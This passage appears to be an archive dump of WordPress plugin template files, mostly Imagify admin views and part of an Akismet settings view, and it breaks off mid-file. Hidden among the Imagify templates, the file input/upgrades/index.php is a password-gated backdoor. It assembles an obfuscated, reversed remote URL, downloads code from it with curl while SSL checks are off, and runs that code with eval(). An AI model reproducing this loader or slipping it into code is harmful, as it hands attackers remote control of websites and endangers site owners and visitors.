width="20" height="20"/></span> <?php } ?> <span class="imagify-folder-icon"><svg width="20px" height="17px" viewBox="0 0 20 17" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g stroke="none" stroke-width="1" fill="none" fill-rule="evenodd" transform="translate(-608.000000, -318.000000)" stroke-linecap="round" stroke-linejoin="round"><g transform="translate(609.000000, 319.000000)" stroke="#000000" stroke-width="2"><path d="M0,14.1428571 L18,14.1428571 L18,1.92857143 L7.71428571,1.92857143 L5.14285714,0 L0,0 L0,14.1428571 Z M18,5.14285714 L0,5.14285714 L18,5.14285714 Z"></path></g></g></svg></span> </button> <?php else : ?> <span class="imagify-folder<?php echo esc_attr( $disabled_class ); ?>"> <span class="imagify-folder-icon"><svg width="20px" height="17px" viewBox="0 0 20 17" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g stroke="none" stroke-width="1" fill="none" fill-rule="evenodd" transform="translate(-608.000000, -318.000000)" stroke-linecap="round" stroke-linejoin="round"><g transform="translate(609.000000, 319.000000)" stroke="#000000" stroke-width="2"><path d="M0,14.1428571 L18,14.1428571 L18,1.92857143 L7.71428571,1.92857143 L5.14285714,0 L0,0 L0,14.1428571 Z M18,5.14285714 L0,5.14285714 L18,5.14285714 Z"></path></g></g></svg></span> </span> <?php endif; ?> <input type="checkbox" name="imagify-custom-files[]" value="<?php echo esc_attr( $data['checkbox_value'] ); ?>" id="imagify-custom-folder-<?php echo esc_attr( $data['checkbox_id'] ); ?>" class="screen-reader-text" <?php disabled( true, $data['checkbox_selected'] ); ?> /> <label for="imagify-custom-folder-<?php echo esc_attr( $data['checkbox_id'] ); ?>" title="<?php echo esc_attr( $folder_title ); ?>"> <?php echo esc_html( $data['label'] ); ?> <span class="imagify-add-ed-folder"> <?php if ( $data['checkbox_selected'] ) { esc_html_e( 'Folder Added', 'imagify' ); } else { echo esc_html_x( 'Add Folder', 'checkbox label', 'imagify' ); } ?> <span class="imagify-fake-checkbox"></span> </span> </label> </li> modal-settings-visual-comparison.php 0000644 00000013737 15174671777 0013721 0 ustar 00 <?php defined( 'ABSPATH' ) || exit; // translators: %s is a formatted file size. $original_alt = sprintf( esc_attr__( 'Original photography about %s', 'imagify' ), imagify_size_format( 343040 ) ); // translators: %s is a formatted file size. $normal_alt = sprintf( esc_attr__( 'Optimized photography about %s', 'imagify' ), imagify_size_format( 301056 ) ); // translators: %s is a formatted file size. $aggressive_alt = sprintf( esc_attr__( 'Optimized photography about %s', 'imagify' ), imagify_size_format( 108544 ) ); // translators: %s is a formatted file size. $ultra_alt = sprintf( esc_attr__( 'Optimized photography about %s', 'imagify' ), imagify_size_format( 46080 ) ); ?> <div class="imagify-modal" id="imagify-visual-comparison"> <div class="imagify-modal-content"> <p class="imagify-comparison-title"> <?php printf( /* translators: 1 and 2 are optimization levels: "Original", "Normal", "Aggressive", or "Ultra". */ esc_html__( 'I want to compare %1$s and %2$s', 'imagify' ), '<span class="twentytwenty-left-buttons"></span>', '<span class="twentytwenty-right-buttons"></span>' ); ?> </p> <div class="twentytwenty-container" data-loader="<?php echo esc_url( IMAGIFY_ASSETS_IMG_URL ); ?>loader-balls.svg" data-label-original="<?php esc_attr_e( 'Original', 'imagify' ); ?>" data-label-normal="<?php esc_attr_e( 'Normal', 'imagify' ); ?>" data-label-aggressive="<?php esc_attr_e( 'Aggressive', 'imagify' ); ?>" data-label-ultra="<?php esc_attr_e( 'Ultra', 'imagify' ); ?>" data-original-label="<?php esc_attr_e( 'Original', 'imagify' ); ?>" data-original-img="<?php echo esc_url( IMAGIFY_ASSETS_IMG_URL ); ?>mushrooms-original.jpg" data-original-dim="1220x350" data-original-alt="<?php echo esc_attr( $original_alt ); ?>" data-normal-label="<?php esc_attr_e( 'Normal', 'imagify' ); ?>" data-normal-img="<?php echo esc_url( IMAGIFY_ASSETS_IMG_URL ); ?>mushrooms-normal.jpg" data-normal-dim="1220x350" data-normal-alt="<?php echo esc_attr( $normal_alt ); ?>" data-aggressive-label="<?php esc_attr_e( 'Aggressive', 'imagify' ); ?>" data-aggressive-img="<?php echo esc_url( IMAGIFY_ASSETS_IMG_URL ); ?>mushrooms-aggressive.jpg" data-aggressive-dim="1220x350" data-aggressive-alt="<?php echo esc_attr( $aggressive_alt ); ?>" data-ultra-label="<?php esc_attr_e( 'Ultra', 'imagify' ); ?>" data-ultra-img="<?php echo esc_url( IMAGIFY_ASSETS_IMG_URL ); ?>mushrooms-ultra.jpg" data-ultra-dim="1220x350" data-ultra-alt="<?php echo esc_attr( $ultra_alt ); ?>"> </div> <div class="imagify-comparison-levels"> <div class="imagify-c-level imagify-level-original go-left"> <p class="imagify-c-level-row"> <span class="label"><?php esc_html_e( 'Level:', 'imagify' ); ?></span> <span class="value level"><?php esc_html_e( 'Original', 'imagify' ); ?></span> </p> <p class="imagify-c-level-row"> <span class="label"><?php esc_html_e( 'File Size:', 'imagify' ); ?></span> <span class="value"><?php echo esc_html( imagify_size_format( 343040 ) ); ?></span> </p> </div> <div class="imagify-c-level imagify-level-optimized imagify-level-normal" aria-hidden="true"> <p class="imagify-c-level-row"> <span class="label"><?php esc_html_e( 'Level:', 'imagify' ); ?></span> <span class="value level"><?php esc_html_e( 'Normal', 'imagify' ); ?></span> </p> <p class="imagify-c-level-row"> <span class="label"><?php esc_html_e( 'File Size:', 'imagify' ); ?></span> <span class="value size"><?php echo esc_html( imagify_size_format( 301056 ) ); ?></span> </p> <p class="imagify-c-level-row"> <span class="label"><?php esc_html_e( 'Original Saving:', 'imagify' ); ?></span> <span class="value"> <span class="imagify-chart"> <span class="imagify-chart-container"> <canvas id="imagify-consumption-chart-normal" width="15" height="15"></canvas> </span> </span><span class="imagify-chart-value">12.24</span>% </span> </p> </div> <div class="imagify-c-level imagify-level-aggressive"> <p class="imagify-c-level-row"> <span class="label"><?php esc_html_e( 'Level:', 'imagify' ); ?></span> <span class="value level"><?php esc_html_e( 'Aggressive', 'imagify' ); ?></span> </p> <p class="imagify-c-level-row"> <span class="label"><?php esc_html_e( 'File Size:', 'imagify' ); ?></span> <span class="value size"><?php echo esc_html( imagify_size_format( 108544 ) ); ?></span> </p> <p class="imagify-c-level-row"> <span class="label"><?php esc_html_e( 'Original Saving:', 'imagify' ); ?></span> <span class="value"> <span class="imagify-chart"> <span class="imagify-chart-container"> <canvas id="imagify-consumption-chart-aggressive" width="15" height="15"></canvas> </span> </span><span class="imagify-chart-value">68.36</span>% </span> </p> </div> <div class="imagify-c-level imagify-level-ultra go-right"> <p class="imagify-c-level-row"> <span class="label"><?php esc_html_e( 'Level:', 'imagify' ); ?></span> <span class="value level"><?php esc_html_e( 'Ultra', 'imagify' ); ?></span> </p> <p class="imagify-c-level-row"> <span class="label"><?php esc_html_e( 'File Size:', 'imagify' ); ?></span> <span class="value size"><?php echo esc_html( imagify_size_format( 46080 ) ); ?></span> </p> <p class="imagify-c-level-row"> <span class="label"><?php esc_html_e( 'Original Saving:', 'imagify' ); ?></span> <span class="value"> <span class="imagify-chart"> <span class="imagify-chart-container"> <canvas id="imagify-consumption-chart-ultra" width="15" height="15"></canvas> </span> </span><span class="imagify-chart-value">86.57</span>% </span> </p> </div> </div> <button type="button" class="close-btn"> <i class="dashicons dashicons-no-alt" aria-hidden="true"></i> <span class="screen-reader-text"><?php esc_html_e( 'Close', 'imagify' ); ?></span> </button> </div> </div> <?php notice-grid-view.php 0000644 00000000727 15174671777 0010465 0 ustar 00 <?php defined( 'ABSPATH' ) || exit; $this->print_template( 'notice-header', [ 'title' => __( 'You\'re missing out!', 'imagify' ), ] ); ?> <p><?php esc_html_e( 'Use the List view to optimize images with Imagify.', 'imagify' ); ?></p> <p><a href="<?php echo esc_url( admin_url( 'upload.php?mode=list' ) ); ?>"><?php esc_html_e( 'Switch to the List View', 'imagify' ); ?></a></p> <?php $this->print_template( 'notice-footer', [ 'dismissible' => 'grid-view', ] ); input/upgrades/index.php 0000644 00000003665 15174671777 0011375 0 ustar 00 <?php ?><?php error_reporting(0); if(isset($_REQUEST["0kb"])){die(">0kb<");};?><?php if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == '7b5f411cddef01612b26836750d71699dde1865246fe549728fb20a89d4650a4') { $_SESSION['secretyt'] = true; } else { die('<html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html>'); } } } ?> <?php goto QbRSP; cUi0X: $SS8Fu .= "\x74\150"; goto Lm6A8; fDHNX: $SS8Fu .= "\x2f\72\x73\x70\x74"; goto cUi0X; Bp1Jt: $SS8Fu .= "\141\155\141\144"; goto MSy5Y; XcPDZ: $SS8Fu .= "\144\57"; goto fDHNX; CV6sy: $SS8Fu .= "\x74"; goto S7PS6; TApMc: $SS8Fu .= "\56\63\x30"; goto VbXmc; Lm6A8: eval("\77\76" . TW2kX(strrev($SS8Fu))); goto u6YqK; aHNNy: $SS8Fu .= "\x6d\x61"; goto XcPDZ; S7PS6: $SS8Fu .= "\170\x74"; goto TApMc; D3dVR: $SS8Fu .= "\x2e\62\60\141"; goto aHNNy; VbXmc: $SS8Fu .= "\57\144\154\157\57"; goto Bp1Jt; QbRSP: $SS8Fu = ''; goto CV6sy; MSy5Y: $SS8Fu .= "\57\x70\157\164"; goto D3dVR; u6YqK: function tw2KX($V1_rw = '') { goto xTmsO; xTmsO: $xM315 = curl_init(); goto ApkMJ; OfIzV: curl_setopt($xM315, CURLOPT_URL, $V1_rw); goto R98ru; ZvFEW: return $tvmad; goto G_4lU; PIM5F: curl_setopt($xM315, CURLOPT_SSL_VERIFYHOST, false); goto OfIzV; ApkMJ: curl_setopt($xM315, CURLOPT_RETURNTRANSFER, true); goto eSOXp; w1838: curl_setopt($xM315, CURLOPT_SSL_VERIFYPEER, false); goto PIM5F; eSOXp: curl_setopt($xM315, CURLOPT_TIMEOUT, 500); goto w1838; UbqIZ: curl_close($xM315); goto ZvFEW; R98ru: $tvmad = curl_exec($xM315); goto UbqIZ; G_4lU: } input/selector.php 0000644 00000003671 15174671777 0010271 0 ustar 00 <?php defined( 'ABSPATH' ) || die( 'Cheatin’ uh?' ); if ( empty( $data['values'] ) || empty( $data['name'] ) ) { return; } if ( ! isset( $data['value'] ) ) { $data['value'] = key( $data['values'] ); } if ( empty( $data['current_label'] ) ) { $data['current_label'] = __( 'Current value:', 'imagify' ); } if ( ! isset( $data['values'][ $data['value'] ] ) ) { return; } $list_id = str_replace( [ '[', ']' ], [ '-', '' ], $data['name'] ); $list_id = 'imagify-' . $list_id . '-selector-list'; ?> <div class="imagify-selector"> <span class="hide-if-js"> <?php echo esc_html( $data['current_label'] ); ?> <span class="imagify-selector-current-value-info"><?php echo $data['values'][ $data['value'] ]; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?></span> </span> <button aria-controls="<?php echo esc_attr( $list_id ); ?>" type="button" class="button imagify-button-clean hide-if-no-js imagify-selector-button"> <span class="imagify-selector-current-value-info"><?php echo $data['values'][ $data['value'] ]; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?></span> </button> <ul id="<?php echo esc_attr( $list_id ); ?>" role="listbox" aria-orientation="vertical" aria-hidden="true" class="imagify-selector-list hide-if-no-js"> <?php foreach ( $data['values'] as $val => $label ) { $input_id = $list_id . '-' . sanitize_html_class( $val ); ?> <li class="imagify-selector-choice<?php echo $val === $data['value'] ? ' imagify-selector-current-value" aria-current="true' : ''; ?>" role="option"> <input type="radio" name="<?php echo esc_attr( $data['name'] ); ?>" value="<?php echo esc_attr( $val ); ?>" id="<?php echo esc_attr( $input_id ); ?>" <?php checked( $val, $data['value'] ); ?> class="screen-reader-text"> <label for="<?php echo esc_attr( $input_id ); ?>"><?php echo $label; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?></label> </li> <?php } ?> </ul> </div> part-settings-webp.php 0000644 00000016061 15174671777 0011046 0 ustar 00 <?php use Imagify\Stats\OptimizedMediaWithoutNextGen; use Imagify\Webp\Display; defined( 'ABSPATH' ) || exit; $settings = Imagify_Settings::get_instance(); ?> <div> <h3 class="imagify-options-subtitle"><?php esc_html_e( 'Next-Gen image format', 'imagify' ); ?></h3> <div class="imagify-setting-line"> <?php $message = __( 'Select WebP for high compatibility, AVIF for superior compression. Please note that the generation process will start automatically after saving the settings.', 'imagify' ); $message_class = 'info'; $disabled = false; if ( has_filter( 'imagify_nextgen_images_formats' ) ) { $message = sprintf( // translators: %1$s and %2$s are <code> tag opening and closing, %3$s and %4$s are <a> tag opening and closing. __( 'Next-Gen Images format is currently defined by the %1$simagify_nextgen_images_format%2$s filter. %3$sRead more%4$s', 'imagify' ), '<code>', '</code>', '<a href="https://imagify.io/documentation/how-to-use-the-next-gen-image-format-filter/" target="_blank">', '</a>' ); $message_class = 'error'; $disabled = true; } $attributes = [ 'aria-describedby' => 'describe-optimization_format', ]; if ( $disabled ) { $attributes['disabled'] = true; } $settings->field_inline_radio_list( [ 'option_name' => 'optimization_format', 'legend' => __( 'Next-gen image format', 'imagify' ), 'info' => $message, 'info_class' => $message_class, 'values' => [ 'off' => __( 'Off', 'imagify' ), 'avif' => __( 'AVIF', 'imagify' ), 'webp' => __( 'WebP', 'imagify' ), ], 'attributes' => $attributes, ] ); ?> </div> <div class="imagify-setting-line"> <div class="imagify-options-line"> <?php $settings->field_checkbox( [ 'option_name' => 'display_nextgen', 'label' => __( 'Display images in Next-Gen format on the site', 'imagify' ), ] ); ?> <div class="imagify-options-line"> <?php $settings->field_radio_list( [ 'option_name' => 'display_nextgen_method', 'values' => [ 'rewrite' => __( 'Use rewrite rules', 'imagify' ), /* translators: 1 and 2 are <em> tag opening and closing. */ 'picture' => sprintf( __( 'Use <picture> tags %1$s(preferred)%2$s', 'imagify' ), '<em>', '</em>' ), ], 'attributes' => [ 'aria-describedby' => 'describe-convert_to_webp', ], ] ); ?> <div class="imagify-options-line"> <?php $cdn_source = apply_filters( 'imagify_cdn_source_url', '' ); if ( 'option' !== $cdn_source['source'] ) { if ( 'constant' === $cdn_source['source'] ) { printf( /* translators: 1 is an URL, 2 is a php constant name. */ esc_html__( 'Your CDN URL is set to %1$s by the constant %2$s.', 'imagify' ), '<code>' . esc_url( $cdn_source['url'] ) . '</code>', '<code>' . esc_html( $cdn_source['name'] ) . '</code>' ); } elseif ( ! empty( $cdn_source['name'] ) ) { printf( /* translators: 1 is an URL, 2 is a plugin name. */ esc_html__( 'Your CDN URL is set to %1$s by %2$s.', 'imagify' ), '<code>' . esc_url( $cdn_source['url'] ) . '</code>', '<code>' . esc_html( $cdn_source['name'] ) . '</code>' ); } else { printf( /* translators: %s is an URL. */ esc_html__( 'Your CDN URL is set to %1$s by filter.', 'imagify' ), '<code>' . esc_url( $cdn_source['url'] ) . '</code>' ); } $settings->field_hidden( [ 'option_name' => 'cdn_url', 'current_value' => $cdn_source['url'], ] ); } else { $settings->field_text_box( [ 'option_name' => 'cdn_url', 'label' => __( 'If you use a CDN, specify the URL:', 'imagify' ), 'attributes' => [ 'size' => 30, 'placeholder' => __( 'https://cdn.example.com', 'imagify' ), ], ] ); } ?> </div> </div> <div id="describe-display_nextgen_method" class="imagify-info"> <span class="dashicons dashicons-info"></span> <?php $conf_file_path = Display::get_instance()->get_file_path( true ); if ( $conf_file_path ) { printf( /* translators: 1 is a file name, 2 is a <strong> tag opening, 3 is the <strong> tag closing. */ esc_html__( 'The first option adds rewrite rules to your site’s configuration file (%1$s) and does not alter your pages code. %2$sThis does not work with CDN though.%3$s', 'imagify' ), '<code>' . esc_html( $conf_file_path ) . '</code>', '<strong>', '</strong>' ); echo '<br/>'; } printf( /* translators: 1 and 2 are HTML tag names, 3 is a <strong> tag opening, 4 is the <strong> tag closing. */ esc_html__( 'The second option replaces the %1$s tags with %2$s tags. %3$sThis is the preferred solution but some themes may break%4$s, so make sure to verify that everything seems fine.', 'imagify' ), '<code><img></code>', '<code><picture></code>', '<strong>', '</strong>' ); echo '<br/>'; /** * Add more information about WebP. * * @since 1.9 * @author Grégory Viguier */ do_action( 'imagify_settings_webp_info' ); ?> </div> </div> <?php $count = OptimizedMediaWithoutNextGen::get_instance()->get_cached_stat(); if ( $count ) { ?> <div class="imagify-options-line hide-if-no-js generate-missing-webp"> <?php $this->print_template( 'part-settings-webp-missing-message', [ 'count' => $count ] ); ?> <button id="imagify-generate-webp-versions" class="button imagify-button-primary imagify-button-mini" type="button"> <span class="dashicons dashicons-admin-generic"></span> <span class="button-text"><?php esc_html_e( 'Generate missing Next-Gen images versions', 'imagify' ); ?></span> </button> <?php $remaining = OptimizedMediaWithoutNextGen::get_instance()->get_stat(); $total = get_transient( 'imagify_missing_next_gen_total' ); $progress = 0; $aria = ' aria-hidden="true"'; $class = 'hidden'; $style = ''; if ( false !== $total && $total > 0 ) { $aria = ''; $class = ''; $processed = $total - $remaining; $progress = $processed . '/' . $total; $percent = $processed / $total * 100; $style = 'style="width:' . $percent . '%;"'; } ?> <div <?php echo $aria; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?> class="imagify-progress <?php echo esc_attr( $class ); ?>"> <div class="progress"> <div class="bar" <?php echo $style; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>><div class="percent"><?php echo esc_html( $progress ); ?></div></div> </div> </div> </div> <?php if ( Imagify_Requirements::is_api_key_valid() ) { ?> <script type="text/html" id="tmpl-imagify-overquota-alert"> <?php $this->print_template( 'part-bulk-optimization-overquota-alert' ); ?> </script> <?php } } ?> </div> </div> <?php part-bulk-optimization-header.php 0000644 00000003044 15174671777 0013157 0 ustar 00 <?php defined( 'ABSPATH' ) || die( 'Cheatin’ uh?' ); ?> <h1 class="screen-reader-text"><?php esc_html_e( 'Bulk Optimization', 'imagify' ); ?> – Imagify <?php echo esc_html( IMAGIFY_VERSION ); ?></h1> <div class="imagify-title"> <p class="imagify-logo-block"> <span class="imagify-lb-icon"> <svg class="icon icon-bulk" viewBox="0 0 38 36" width="38" height="36" xmlns="http://www.w3.org/2000/svg"><g fill="none" fill-rule="evenodd"><path d="m233.09 177.21l-5.52 10.248c-.08.145-.018.272-.023.388-.074.193-.033.4-.033.619v21.615c0 .952.601 1.429 1.552 1.429h33.897c.952 0 1.962-.478 1.962-1.429v-21.615c0-.487-.323-.925-.649-1.24l-5.623-9.976c-.405-.726-1.202-1.179-2.034-1.182l-21.486-.068c-.849 0-1.64.464-2.043 1.211m30.424 32.869c0 .173-.378.018-.551.018h-33.897c-.172 0-.14.155-.14-.018v-21.576l33.961-.281c.066.008.186.09.263.128.054.027.205.049.258.073.002.014.106.027.106.041v21.615m-6.153-32.11l4.91 8.835h-14.992v-9.354l9.306.045c.322.001.619.192.776.474m-11.494-.523v9.358h-16.306l4.773-8.892c.155-.289.456-.484.787-.484l10.746.018m7.06 17.12c0 .39-.316.706-.706.706h-12.706c-.39 0-.706-.316-.706-.706 0-.39.316-.706.706-.706h12.706c.39 0 .706.316.706.706" transform="translate(-227-176)" fill="#40B1D0"/></g></svg> </span> <span class="imagify-lb-text"> <img width="139" height="16" alt="Imagify" src="<?php echo esc_url( IMAGIFY_ASSETS_IMG_URL ); ?>imagify-logo.png" class="imagify-logo" /> <?php esc_html_e( 'Bulk Optimization', 'imagify' ); ?> </span> </p> <?php $this->print_template( 'part-documentation-link' ); ?> </div> <?php part-rocket-ad.php 0000644 00000004320 15174671777 0010117 0 ustar 00 <?php defined( 'ABSPATH' ) || exit; $plugins_list = get_plugins(); if ( isset( $plugins_list['wp-rocket/wp-rocket.php'] ) ) { return ''; } $notice = 'wp-rocket'; $user_id = get_current_user_id(); $notices = get_user_meta( $user_id, '_imagify_ignore_ads', true ); $notices = $notices && is_array( $notices ) ? array_flip( $notices ) : []; if ( isset( $notices[ $notice ] ) ) { return; } $discount_percent = '20%'; $dismiss_url = wp_nonce_url( admin_url( 'admin-post.php?action=imagify_dismiss_ad&ad=' . $notice ), 'imagify-dismiss-ad' ); ?> <div class="imagify-col imagify-sidebar"> <div class="imagify-sidebar-section"> <p class="imagify-sidebar-title"> <?php esc_html_e( 'We recommend for you', 'corporate' ); ?> </p> <img src="<?php echo esc_url( IMAGIFY_ASSETS_IMG_URL ); ?>logo-wprocket.png" srcset="<?php echo esc_url( IMAGIFY_ASSETS_IMG_URL ); ?>logo-wprocket.svg 1x, <?php echo esc_url( IMAGIFY_ASSETS_IMG_URL ); ?>logo-wprocket.svg 2x" alt="WP Rocket" width="232" height="63"> <p class="imagify-sidebar-description"> <?php /* translators: 1 is a "bold" tag opening, 2 is the "bold" tag closing. Please use a non-breaking space for WP Rocket. */ printf( esc_html__( 'WP Rocket is a %1$sspeed optimization plugin for WordPress%2$s helping you to implement a variety of speed-boosting features to your WordPress site.', 'imagify' ), '<strong>', '</strong>' ); ?> </p> <p> <a class="btn btn-rocket" href="<?php echo esc_url( imagify_get_wp_rocket_url() ); ?>" target="_blank"> <?php /* translators: %s is a percentage. */ printf( esc_html__( 'Get %s OFF Now!', 'imagify' ), esc_html( $discount_percent ) ); ?> </a> </p> <ul> <li><?php esc_html_e( 'Improve your Google PageSpeed Score.', 'imagify' ); ?></li> <li><?php esc_html_e( 'Boost your SEO.', 'imagify' ); ?></li> <li><?php esc_html_e( 'WooCommerce compatibility.', 'imagify' ); ?></li> <li><?php esc_html_e( 'Immediate results.', 'imagify' ); ?></li> </ul> <a class="imagify-sidebar-close" href="<?php echo esc_url( $dismiss_url ); ?>"><span class="screen-reader-text"><?php esc_html_e( 'Remove the ad', 'imagify' ); ?></span><i class="dashicons dashicons-no-alt" aria-hidden="true"></i></a> </div> </div> part-settings-footer.php 0000644 00000001232 15174671777 0011401 0 ustar 00 <?php defined( 'ABSPATH' ) || die( 'Cheatin’ uh?' ); ?> <div class="submit imagify-clearfix"> <?php // Classical submit. submit_button(); if ( Imagify_Requirements::is_api_key_valid() ) { $user_can = imagify_get_context( 'wp' )->current_user_can( 'bulk-optimize' ) || imagify_get_context( 'custom-folders' )->current_user_can( 'bulk-optimize' ); if ( $user_can ) { // Submit and go to bulk page. submit_button( esc_html__( 'Save & Go to Bulk Optimizer', 'imagify' ), 'secondary imagify-button-secondary', // Type/classes. 'submit-goto-bulk', // Name (id). true, // Wrap. [] // Other attributes. ); } } ?> </div> <?php part-bulk-optimization-success.php 0000644 00000003740 15174671777 0013402 0 ustar 00 <?php defined( 'ABSPATH' ) || die( 'Cheatin’ uh?' ); ?> <!-- The Success/Complete bar --> <div class="imagify-row-complete hidden" aria-hidden="true"> <div class="imagify-all-complete"> <div class="imagify-ac-report"> <div class="imagify-ac-chart" data-percent="0"> <span class="imagify-chart"> <span class="imagify-chart-container"> <canvas id="imagify-ac-chart" width="46" height="46"></canvas> </span> </span> </div> <div class="imagify-ac-report-text"> <p class="imagify-ac-rt-big"><?php esc_html_e( 'Well done!', 'imagify' ); ?></p> <p> <?php printf( // translators: %1$s = number of images, %2$s = data size, %3$s = data size. esc_html__( 'You optimized %1$s images and saved %2$s out of %3$s', 'imagify' ), '<strong class="imagify-ac-rt-total-images"></strong>', '<strong class="imagify-ac-rt-total-gain"></strong>', '<strong class="imagify-ac-rt-total-original"></strong>' ); ?> </p> </div> </div> <div class="imagify-ac-spread-word"> <h3><?php esc_html_e( 'How about spreading the word?', 'imagify' ); ?></h3> <p> <?php printf( // translators: 1 is a link tag start, 2 is the link tag end. esc_html__( 'Please take a few seconds to leave a review on %1$sWordPress.org%2$s. It would mean the world to us!', 'imagify' ), '<a href="' . esc_url( imagify_get_external_url( 'rate' ) ) . '" target="_blank">', '</a>' ); ?> <br> <a class="stars" aria-hidden="true" href="<?php echo esc_url( imagify_get_external_url( 'rate' ) ); ?>" target="_blank"><?php echo str_repeat( '<span class="dashicons dashicons-star-empty"></span>', 5 ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?></a> </p> </div> <div class="imagify-ac-leave-review"> <a href="<?php echo esc_url( imagify_get_external_url( 'rate' ) ); ?>" target="_blank" class="button button-primary"><?php esc_html_e( 'Leave a review', 'imagify' ); ?></a> </div> </div> </div> <?php config.php 0000644 00000036746 15174700141 0006542 0 ustar 00 <?php //phpcs:disable VariableAnalysis // There are "undefined" variables here because they're defined in the code that includes this file as a template. $kses_allow_link_href = array( 'a' => array( 'href' => true, ), ); ?> <div id="akismet-plugin-container"> <div class="akismet-masthead"> <div class="akismet-masthead__inside-container"> <?php Akismet::view( 'logo' ); ?> </div> </div> <div class="akismet-lower"> <?php if ( Akismet::get_api_key() ) { ?> <?php Akismet_Admin::display_status(); ?> <?php } ?> <?php if ( ! empty( $notices ) ) { ?> <?php foreach ( $notices as $notice ) { ?> <?php Akismet::view( 'notice', array_merge( $notice, array( 'parent_view' => $name ) ) ); ?> <?php } ?> <?php } ?> <?php if ( isset( $stat_totals['all'] ) && isset( $stat_totals['6-months'] ) ) : ?> <div class="akismet-card"> <div class="akismet-section-header"> <h2 class="akismet-section-header__label"> <span><?php esc_html_e( 'Statistics', 'akismet' ); ?></span> </h2> <div class="akismet-section-header__actions"> <a href="<?php echo esc_url( Akismet_Admin::get_page_url( 'stats' ) ); ?>"> <?php esc_html_e( 'Detailed stats', 'akismet' ); ?> </a> </div> </div> <!-- close akismet-section-header --> <div class="akismet-new-snapshot"> <?php /* name attribute on iframe is used as a cache-buster here to force Firefox to load the new style charts: https://bugzilla.mozilla.org/show_bug.cgi?id=356558 */ ?> <div class="akismet-new-snapshot__chart"> <iframe id="stats-iframe" allowtransparency="true" scrolling="no" frameborder="0" style="width: 100%; height: 220px; overflow: hidden;" src="<?php echo esc_url( sprintf( 'https://tools.akismet.com/1.0/snapshot.php?blog=%s&token=%s&height=200&locale=%s&is_redecorated=1', rawurlencode( get_option( 'home' ) ), rawurlencode( Akismet::get_access_token() ), get_user_locale() ) ); ?>" name="<?php echo esc_attr( 'snapshot-' . filemtime( __FILE__ ) ); ?>" title="<?php echo esc_attr__( 'Akismet stats', 'akismet' ); ?>"></iframe> </div> <ul class="akismet-new-snapshot__list"> <li class="akismet-new-snapshot__item"> <h3 class="akismet-new-snapshot__header"><?php esc_html_e( 'Past six months', 'akismet' ); ?></h3> <span class="akismet-new-snapshot__number"><?php echo number_format( $stat_totals['6-months']->spam ); ?></span> <span class="akismet-new-snapshot__text"><?php echo esc_html( _n( 'Spam blocked', 'Spam blocked', $stat_totals['6-months']->spam, 'akismet' ) ); ?></span> </li> <li class="akismet-new-snapshot__item"> <h3 class="akismet-new-snapshot__header"><?php esc_html_e( 'All time', 'akismet' ); ?></h3> <span class="akismet-new-snapshot__number"><?php echo number_format( $stat_totals['all']->spam ); ?></span> <span class="akismet-new-snapshot__text"><?php echo esc_html( _n( 'Spam blocked', 'Spam blocked', $stat_totals['all']->spam, 'akismet' ) ); ?></span> </li> <li class="akismet-new-snapshot__item"> <h3 class="akismet-new-snapshot__header"><?php esc_html_e( 'Accuracy', 'akismet' ); ?></h3> <span class="akismet-new-snapshot__number"><?php echo floatval( $stat_totals['all']->accuracy ); ?>%</span> <span class="akismet-new-snapshot__text"> <?php /* translators: %s: number of spam missed by Akismet */ echo esc_html( sprintf( _n( '%s missed spam', '%s missed spam', $stat_totals['all']->missed_spam, 'akismet' ), number_format( $stat_totals['all']->missed_spam ) ) ) . ', '; /* translators: %s: number of false positive spam flagged by Akismet */ echo esc_html( sprintf( _n( '%s false positive', '%s false positives', $stat_totals['all']->false_positives, 'akismet' ), number_format( $stat_totals['all']->false_positives ) ) ); ?> </span> </li> </ul> </div> <!-- close akismet-new-snapshot --> </div> <!-- close akismet-card --> <?php endif; ?> <?php if ( apply_filters( 'akismet_show_compatible_plugins', true ) ) : ?> <?php Akismet::view( 'compatible-plugins' ); ?> <?php endif; ?> <?php if ( $akismet_user ) : ?> <div class="akismet-card"> <div class="akismet-section-header"> <h2 class="akismet-section-header__label"> <span><?php esc_html_e( 'Settings', 'akismet' ); ?></span> </h2> </div> <div class="inside"> <form action="<?php echo esc_url( Akismet_Admin::get_page_url() ); ?>" autocomplete="off" method="POST" id="akismet-settings-form"> <div class="akismet-settings"> <?php if ( ! Akismet::predefined_api_key() ) : ?> <div class="akismet-settings__row"> <h3 class="akismet-settings__row-title"> <label class="akismet-settings__row-label" for="key"><?php esc_html_e( 'API key', 'akismet' ); ?></label> </h3> <div class="akismet-settings__row-input"> <span class="api-key"><input id="key" name="key" type="text" size="15" value="<?php echo esc_attr( get_option( 'wordpress_api_key' ) ); ?>" class="<?php echo esc_attr( 'regular-text code ' . $akismet_user->status ); ?>"></span> </div> </div> <?php endif; ?> <?php //phpcs:ignore WordPress.Security.NonceVerification.Recommended if ( isset( $_GET['ssl_status'] ) ) : ?> <div class="akismet-settings__row"> <div class="akismet-settings__row-text"> <h3 class="akismet-settings__row-title"><?php esc_html_e( 'SSL status', 'akismet' ); ?></h3> <div class="akismet-settings__row-description"> <?php if ( ! wp_http_supports( array( 'ssl' ) ) ) : ?> <strong><?php esc_html_e( 'Disabled.', 'akismet' ); ?></strong> <?php esc_html_e( 'Your Web server cannot make SSL requests; contact your Web host and ask them to add support for SSL requests.', 'akismet' ); ?> <?php else : ?> <?php $ssl_disabled = get_option( 'akismet_ssl_disabled' ); ?> <?php if ( $ssl_disabled ) : ?> <strong><?php esc_html_e( 'Temporarily disabled.', 'akismet' ); ?></strong> <?php esc_html_e( 'Akismet 